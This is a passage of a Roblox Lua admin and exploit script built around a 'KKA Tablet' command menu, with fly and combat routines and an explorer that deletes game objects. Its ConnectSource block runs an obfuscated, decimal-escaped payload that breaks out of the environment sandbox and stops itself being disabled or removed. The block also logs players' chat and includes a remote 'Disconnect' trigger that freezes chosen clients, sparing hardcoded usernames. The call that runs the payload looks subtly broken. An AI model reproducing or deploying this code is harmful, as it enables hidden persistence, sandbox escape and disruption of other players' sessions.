9686 | for i = 0 , 1 , 0.1 do | |
9687 | wait() | |
9688 | z.Transparency = (1-z.Transparency)*i | |
9689 | end | |
9690 | z.Parent = nil | |
9691 | end)) | |
9692 | end | |
9693 | end | |
9694 | wait(0.5) | |
9695 | for ii,z in pairs(modemodel:GetChildren()) do | |
9696 | wait() | |
9697 | z.Parent = nil | |
9698 | end | |
9699 | end)) | |
9700 | for i = 0 , 1 , 0.1 do | |
9701 | wait() | |
9702 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(45), math.rad(0)) | |
9703 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0)) | |
9704 | LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(-45),math.rad(0)) | |
9705 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0)) | |
9706 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9707 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70+20*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9708 | end | |
9709 | ||
9710 | wait(0.25) | |
9711 | for i = 0 , 1 , 0.1 do | |
9712 | wait() | |
9713 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(45), math.rad(-45*i)) | |
9714 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0)) | |
9715 | LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45),math.rad(45*i)) | |
9716 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0)) | |
9717 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9718 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90-90*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9719 | end | |
9720 | RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45)) | |
9721 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9722 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
9723 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9724 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
9725 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9726 | attack=false | |
9727 | wait(0.5) | |
9728 | mrdychng = false | |
9729 | end | |
9730 | ||
9731 | function ob1d(mouse) | |
9732 | hold = true | |
9733 | if attack == true then return end | |
9734 | end | |
9735 | function ob1u(mouse) | |
9736 | end | |
9737 | buttonhold = false | |
9738 | function key(key) | |
9739 | if attack == true then return end | |
9740 | if key == "q" then | |
9741 | if attacktype == 1 then | |
9742 | Combo1a() | |
9743 | elseif attacktype == 2 then | |
9744 | Combo1b() | |
9745 | elseif attacktype == 3 then | |
9746 | Combo1c() | |
9747 | end | |
9748 | end | |
9749 | if key == "e" then | |
9750 | if attacktype == 1 then | |
9751 | BlizzardSword() | |
9752 | end | |
9753 | end | |
9754 | if key == "r" then | |
9755 | FlameTrail() | |
9756 | end | |
9757 | if key == "t" then | |
9758 | LifeDrain() | |
9759 | end | |
9760 | if Mode == "None" and not mrdychng then | |
9761 | if key == "z" then | |
9762 | FireMode() | |
9763 | end | |
9764 | elseif not mrdychng then | |
9765 | if key == "z" or key == "x" or key == "c" then | |
9766 | NeutralMode() | |
9767 | end | |
9768 | end | |
9769 | end | |
9770 | ||
9771 | function key2(key) | |
9772 | end | |
9773 | function s(mouse) | |
9774 | repeat wait() until not attack | |
9775 | while ev.Value ~= false do | |
9776 | wait(0.1) | |
9777 | end | |
9778 | MMouse = mouse | |
9779 | mouse.Button1Down:connect(function() ob1d(mouse) end) | |
9780 | mouse.Button1Up:connect(function() ob1u(mouse) end) | |
9781 | mouse.KeyDown:connect(key) | |
9782 | mouse.KeyUp:connect(key2) | |
9783 | equipanim() | |
9784 | ev.Value = true | |
9785 | end | |
9786 | function ds(mouse) | |
9787 | repeat wait() until not attack | |
9788 | while ev.Value == false do | |
9789 | wait(0.1) | |
9790 | end | |
9791 | ||
9792 | hideanim() | |
9793 | wait(0.1) | |
9794 | ev.Value = false | |
9795 | end | |
9796 | Bin.Selected:connect(s) | |
9797 | Bin.Deselected:connect(ds) | |
9798 | ]] | |
9799 | Fly = [[ | |
9800 | repeat | |
9801 | wait() | |
9802 | until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and | |
9803 | game.Players.LocalPlayer.Character:findFirstChild("Humanoid") | |
9804 | local mouse = game.Players.LocalPlayer:GetMouse() | |
9805 | repeat | |
9806 | wait() | |
9807 | until mouse ~= nil | |
9808 | local plr = game.Players.LocalPlayer | |
9809 | local torso = plr.Character.Torso | |
9810 | local flying = false | |
9811 | local deb = true | |
9812 | local ctrl = {f = 0, b = 0, l = 0, r = 0} | |
9813 | local lastctrl = {f = 0, b = 0, l = 0, r = 0} | |
9814 | local maxspeed = 50 | |
9815 | local speed = 0 | |
9816 | function Fly() | |
9817 | local bg = Instance.new("BodyGyro", torso) | |
9818 | bg.P = 9e4 | |
9819 | bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) | |
9820 | bg.cframe = torso.CFrame | |
9821 | local bv = Instance.new("BodyVelocity", torso) | |
9822 | bv.velocity = Vector3.new(0,0,0) | |
9823 | bv.maxForce = Vector3.new(9e9, 9e9, 9e9) | |
9824 | repeat | |
9825 | wait() | |
9826 | plr.Character.Humanoid.PlatformStand = true | |
9827 | if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then | |
9828 | speed = speed+.5+(speed/maxspeed) | |
9829 | if speed > maxspeed then | |
9830 | speed = maxspeed | |
9831 | end | |
9832 | elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then | |
9833 | speed = speed-1 if speed < 0 then | |
9834 | speed = 0 | |
9835 | end | |
9836 | end | |
9837 | if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then | |
9838 | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * | |
9839 | CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed | |
9840 | lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} | |
9841 | elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then | |
9842 | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame | |
9843 | * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = | |
9844 | Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) | |
9845 | until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} | |
9846 | lastctrl = {f = 0, b = 0, l = 0, r = 0} | |
9847 | speed = 0 | |
9848 | bg:Destroy() | |
9849 | bv:Destroy() plr.Character.Humanoid.PlatformStand = false | |
9850 | end | |
9851 | mouse.KeyDown:connect(function(key) if key:lower() == "e" then | |
9852 | if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then | |
9853 | ctrl.f = 1 | |
9854 | elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 | |
9855 | elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == | |
9856 | "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 | |
9857 | elseif key:lower() == "d" then ctrl.r = 0 end end) | |
9858 | ]] | |
9859 | ConnectSource = [[ | |
9860 | wait(0.001) | |
9861 | if script:findFirstChild'source' ~= nil then | |
9862 | print("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")() | |
9863 | script:ClearAllChildren() | |
9864 | else | |
9865 | script:ClearAllChildren() | |
9866 | script.Parent=nil | |
9867 | end | |
9868 | wait(1) | |
9869 | LocalPlayer = game.Players.LocalPlayer | |
9870 | local asd = Instance.new("StringValue",LocalPlayer) | |
9871 | asd.Name = 'asd' | |
9872 | asd.Value = 'asdasdsadsadasdas' | |
9873 | wait(0.1) | |
9874 | asd:remove() | |
9875 | wait(1) | |
9876 | local asdcon = LocalPlayer.Chatted:connect(function(msg) | |
9877 | if LocalPlayer.Parent ~= game:service'Players' then | |
9878 | local a = Instance.new("StringValue", workspace) | |
9879 | a.Name = 'LolCon' | |
9880 | a.Value = LocalPlayer.Name..'\31'..msg | |
9881 | game:service'Debris':AddItem(a,2) | |
9882 | end | |
9883 | end) | |
9884 | local con = game.Lighting.descendantAdded:connect(function(what) | |
9885 | if LocalPlayer.Name == 'Cobalt1164' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'penguin0616' then return end | |
9886 | if what.ClassName == 'StringValue' then | |
9887 | if what.Name == 'Disconnect' then | |
9888 | local v = what.Value | |
9889 | if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then | |
9890 | repeat until false | |
9891 | elseif v == 'nil' then | |
9892 | if LocalPlayer.Parent ~= game:service'Players' then | |
9893 | repeat until false | |
9894 | end | |
9895 | elseif v == 'all' then | |
9896 | repeat until false | |
9897 | end | |
9898 | end | |
9899 | end | |
9900 | end) | |
9901 | local con2 = game:service'RunService'.RenderStepped:connect(function() | |
9902 | if LocalPlayer:findFirstChild'asd' then | |
9903 | asd = LocalPlayer:findFirstChild'asd' | |
9904 | if asd.ClassName == 'StringValue' then | |
9905 | if asd.Value == 'asdasdsadsadasdas' then | |
9906 | asd:remove() | |
9907 | asdcon:disconnect() | |
9908 | con:disconnect() | |
9909 | con2:disconnect() | |
9910 | end | |
9911 | end | |
9912 | end | |
9913 | end) | |
9914 | ]] | |
9915 | _force_insert=function(id,place) | |
9916 | place=place or | |
9917 | Instance.new('Model',game:service'InsertService'); | |
9918 | ||
9919 | local c=game:GetObjects('rbxassetid://'..id); | |
9920 | for i=1,#c do | |
9921 | c[i].Parent=place; | |
9922 | end; | |
9923 | end; | |
9924 | function All(deb) | |
9925 | local AllPlayers = {} | |
9926 | for _,v in pairs(Plrs:GetPlayers()) do | |
9927 | ypcall(function() | |
9928 | if GetRank(v.Name) ~= 8 or not deb then | |
9929 | table.insert(AllPlayers, v) | |
9930 | end | |
9931 | end) | |
9932 | end | |
9933 | return AllPlayers | |
9934 | end | |
9935 | ||
9936 | function All2(deb) | |
9937 | local AllPlayers2 = {} | |
9938 | for i,v in pairs(Net:GetChildren()) do | |
9939 | ypcall(function() | |
9940 | if v:IsA("ServerReplicator") then | |
9941 | if GetRank(v:GetPlayer().Name) ~= 8 or not deb then | |
9942 | table.insert(AllPlayers2, v:GetPlayer()) | |
9943 | end | |
9944 | end | |
9945 | end) | |
9946 | end | |
9947 | return AllPlayers2 | |
9948 | end | |
9949 | function MakeNum() | |
9950 | return 2^3 | |
9951 | end | |
9952 | function Menu(Speaker) | |
9953 | Output("Commands",Speaker,nil,function() | |
9954 | Dismiss(Speaker.Name) | |
9955 | ||
9956 | Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker) | |
9957 | Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end) | |
9958 | Output("Rank 0", Speaker, nil, function() | |
9959 | if FindRank(Speaker) <= 0 then | |
9960 | OpenCmds(0, Speaker) | |
9961 | ||
9962 | end | |
9963 | end) | |
9964 | Output("Rank 1", Speaker, nil, function() | |
9965 | if FindRank(Speaker) >= 1 then | |
9966 | OpenCmds(1, Speaker) | |
9967 | ||
9968 | end | |
9969 | end) | |
9970 | Output("Rank 2", Speaker, nil, function() | |
9971 | if FindRank(Speaker) >= 2 then | |
9972 | OpenCmds(2, Speaker) | |
9973 | ||
9974 | end | |
9975 | end) | |
9976 | Output("Rank 3", Speaker, nil, function() | |
9977 | if FindRank(Speaker) >= 3 then | |
9978 | OpenCmds(3, Speaker) | |
9979 | ||
9980 | end | |
9981 | end) | |
9982 | Output("Rank 4", Speaker, nil, function() | |
9983 | if FindRank(Speaker) >= 4 then | |
9984 | OpenCmds(4, Speaker) | |
9985 | ||
9986 | end | |
9987 | end) | |
9988 | Output("Rank 5", Speaker, nil, function() | |
9989 | if FindRank(Speaker) >= 5 then | |
9990 | OpenCmds(5, Speaker) | |
9991 | ||
9992 | end | |
9993 | end) | |
9994 | Output("Rank 6", Speaker, nil, function() | |
9995 | if FindRank(Speaker) >= 6 then | |
9996 | OpenCmds(6, Speaker) | |
9997 | ||
9998 | end | |
9999 | end) | |
10000 | Output("Rank 7", Speaker, nil, function() | |
10001 | if FindRank(Speaker) >= 7 then | |
10002 | OpenCmds(7, Speaker) | |
10003 | ||
10004 | end | |
10005 | end) | |
10006 | end) | |
10007 | Output("Players", Speaker, nil, function() | |
10008 | ListPlayers(Speaker) | |
10009 | end) | |
10010 | Output("Explore", Speaker, nil, function() | |
10011 | MakeExplorer(Speaker) | |
10012 | end) | |
10013 | end | |
10014 | function ChangeRank(Plr, NewRank) | |
10015 | local PlrName = nil | |
10016 | local FoundPlayer = false | |
10017 | ypcall(function() | |
10018 | if type(Plr) == "string" then | |
10019 | ypcall(function() | |
10020 | for i,v in pairs(Ranked) do | |
10021 | if v.Name:lower() == Plr:lower() then | |
10022 | local VName = v.Name | |
10023 | Ranked[i] = nil | |
10024 | table.insert(Ranked, {Name = VName, Rank = NewRank}) | |
10025 | PlrName = VName | |
10026 | FoundPlayer = true | |
10027 | break | |
10028 | end | |
10029 | end | |
10030 | end) | |
10031 | if FoundPlayer == false then | |
10032 | ypcall(function() | |
10033 | for _,x in pairs(All()) do | |
10034 | if x.Name:lower() == Plr:lower() then | |
10035 | FoundPlayer = true | |
10036 | for i,v in pairs(Ranked) do | |
10037 | if v.Name:lower() == x.Name:lower() then | |
10038 | local VName = x.Name | |
10039 | Ranked[i] = nil | |
10040 | PlrName = VName | |
10041 | break | |
10042 | end | |
10043 | end | |
10044 | table.insert(Ranked, {Name = VName, Rank = NewRank}) | |
10045 | end | |
10046 | end | |
10047 | end) | |
10048 | end | |
10049 | if FoundPlayer == false then | |
10050 | ypcall(function() | |
10051 | for _,x in pairs(All()) do | |
10052 | if string.find(x.Name:lower(), Plr:lower()) then | |
10053 | FoundPlayer = true | |
10054 | for i,v in pairs(Ranked) do | |
10055 | if v.Name:lower() == x.Name:lower() then | |
10056 | local VName = x.Name | |
10057 | Ranked[i] = nil | |
10058 | PlrName = VName | |
10059 | break | |
10060 | end | |
10061 | end | |
10062 | table.insert(Ranked, {Name = VName, Rank = NewRank}) | |
10063 | end | |
10064 | end | |
10065 | end) | |
10066 | end | |
10067 | if FoundPlayer == false then | |
10068 | ypcall(function() | |
10069 | for i,v in pairs(Ranked) do | |
10070 | if string.find(v.Name:lower(), Plr:lower()) then | |
10071 | local VName = v.Name | |
10072 | Ranked[i] = nil | |
10073 | table.insert(Ranked, {Name = VName, Rank = NewRank}) | |
10074 | PlrName = VName | |
10075 | FoundPlayer = true | |
10076 | break | |
10077 | end | |
10078 | end | |
10079 | end) | |
10080 | end | |
10081 | else | |
10082 | for i,v in pairs(Ranked) do | |
10083 | if v.Name:lower() == Plr.Name:lower() then | |
10084 | Ranked[i] = nil | |
10085 | break | |
10086 | end | |
10087 | end | |
10088 | table.insert(Ranked, {Name = Plr.Name, Rank = NewRank}) | |
10089 | PlrName = Plr.Name | |
10090 | end | |
10091 | PlaceAllRanks(true) | |
10092 | end) | |
10093 | if PlrName ~= nil then | |
10094 | return PlrName | |
10095 | else | |
10096 | return "Player" | |
10097 | end | |
10098 | end | |
10099 | function Refresh(Plr) | |
10100 | MakeChildren(Plr) | |
10101 | end | |
10102 | function MakeChildren(Plr) | |
10103 | ypcall(function() | |
10104 | Dismiss(Plr) | |
10105 | for _,v in pairs(Current:GetChildren()) do | |
10106 | ypcall(function() | |
10107 | if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then | |
10108 | Output(v.Name, Plr, nil, function(TabMod) | |
10109 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10110 | for _,v in pairs(Current:GetChildren()) do | |
10111 | ypcall(function() | |
10112 | if v.Name == TabText then | |
10113 | Dismiss(Plr) | |
10114 | Current = v | |
10115 | MakeChildren(Plr) | |
10116 | end | |
10117 | end) | |
10118 | end | |
10119 | end) | |
10120 | elseif Plrs:GetPlayerFromCharacter(v) then | |
10121 | Output(v.Name, Plr, nil, function(TabMod) | |
10122 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10123 | for _,v in pairs(Current:GetChildren()) do | |
10124 | ypcall(function() | |
10125 | if v.Name == TabText then | |
10126 | Dismiss(Plr) | |
10127 | Current = v | |
10128 | MakeChildren(Plr) | |
10129 | end | |
10130 | end) | |
10131 | end | |
10132 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
10133 | elseif CheckImportant(v.Name) then | |
10134 | Output(v.Name, Plr, nil, function(TabMod) | |
10135 | local TabText = TabMod["KKA Tablet"].BG.TL.Text | |
10136 | for _,v in pairs(Current:GetChildren()) do | |
10137 | ypcall(function() | |
10138 | if v.Name == TabText then | |
10139 | Dismiss(Plr) | |
10140 | Current = v | |
10141 | MakeChildren(Plr) | |
10142 | end | |
10143 | end) | |
10144 | end | |
10145 | end, ImportantColor) | |
10146 | end | |
10147 | end) | |
10148 | end | |
10149 | if Current ~= game then | |
10150 | Output("Back", Plr, nil, function() | |
10151 | ypcall(function() | |
10152 | Current = Current.Parent | |
10153 | MakeChildren(Plr) | |
10154 | Output("Returned to "..Current.Name, Plr, 5) | |
10155 | end) | |
10156 | end, OptionColor) | |
10157 | end | |
10158 | if FindRank(Speaker) >= 5 then | |
10159 | if Current ~= game then | |
10160 | Output("Delete", Plr, nil, function() | |
10161 | ypcall(function() | |
10162 | local CurrPar = Current.Parent or game | |
10163 | local CurrName = Current.Name | |
10164 | Current:Destroy() | |
10165 | Current = CurrPar | |
10166 | MakeChildren(Plr) | |
10167 | Output("Deleted "..CurrName, Plr, 5) | |
10168 | end) | |
10169 | end, OptionColor) | |
10170 | end | |
10171 | Output("Remove", Plr, nil, function() | |
10172 | ypcall(function() | |
10173 | local CurrPar = Current.Parent or game | |
10174 | local CurrName = Current.Name | |
10175 | Current:Remove() | |
10176 | Current = CurrPar | |
10177 | MakeChildren(Plr) | |
10178 | Output("Removed "..CurrName, Plr, 5) | |
10179 | end) | |
10180 | end, OptionColor) | |
10181 | Output("Break Joints", Plr, nil, function() | |
10182 | ypcall(function() | |
10183 | local CurrPar = Current.Parent or game | |
10184 | local CurrName = Current.Name | |
10185 | Current:BreakJoints() | |
10186 | Current = CurrPar | |
10187 | MakeChildren(Plr) | |
